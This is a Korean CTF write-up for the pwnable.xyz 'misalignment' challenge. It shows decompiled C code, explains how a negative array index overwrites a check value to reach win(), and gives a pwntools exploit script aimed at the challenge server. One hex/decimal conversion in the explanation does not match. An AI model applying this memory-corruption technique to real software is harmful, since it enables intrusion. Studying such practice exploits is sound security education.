pwnable.xyz - misalignment

2021. 7. 19. 07:43Pwnable

그지같은 문제이다.

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-A0h]
  _QWORD v5[3]; // [rsp+18h] [rbp-98h]
  __int64 v6; // [rsp+30h] [rbp-80h]
  __int64 v7; // [rsp+38h] [rbp-78h]
  __int64 v8; // [rsp+40h] [rbp-70h]
  unsigned __int64 v9; // [rsp+A8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setup(*&argc, argv, envp);
  memset(&s, 0, 0x98uLL);
  *(v5 + 7) = 0xDEADBEEFLL;
  while ( _isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
  {
    v5[v8 + 6] = v6 + v7;
    printf("Result: %ld\n", v5[v8 + 6]);
  }
  if ( *(v5 + 7) == 0xB000000B5LL )
    win();
  return 0;
}

코드를 확인하면 v6 + v7을 한 값이 들어가고, 어디에 들어갈지를 v8변수가 정해준다.

*(v5+7) 부분을 읽었을떄 최종적으로 0xB000000B5가 되어야함으로

v5[0]의 7번째 칸을 0xb0으로

v5[1] 의 8번째 칸을 b5로 덮어줘야한다.

따라서 처음에 리틀앤디안으로 변형해서

0xb500000000000000 —> 5404319552844595200을 넣어주고,

0xB00000000 —> 2번째에 184549376를 넣어주면 된다.

python 에서 자동 변환해줄때 음수를 고려안해줘서 삽질좀 했다.

보수법때문에 그러는듯...

from pwn import *

r = remote("svc.pwnable.xyz", 30003)
#r = process("./challenge")
e = ELF("./challenge")
l = e.libc
context.log_level = "debug"
r.sendline("0 -5404319552844595200 -6")
print(r.recv())
r.sendline("0 184549376 -5")
print(r.recv())
r.sendline("1 2 10")
r.interactive()

'Pwnable' 카테고리의 다른 글

pwnable.xyz - xor  (0) 2021.07.25
HactCTF - 풍수지리설  (0) 2021.07.24
dreamhack.io - validator  (0) 2021.07.13
HackCTF - ezshell  (0) 2021.07.13
HackCTF - ChildFSB  (1) 2021.07.08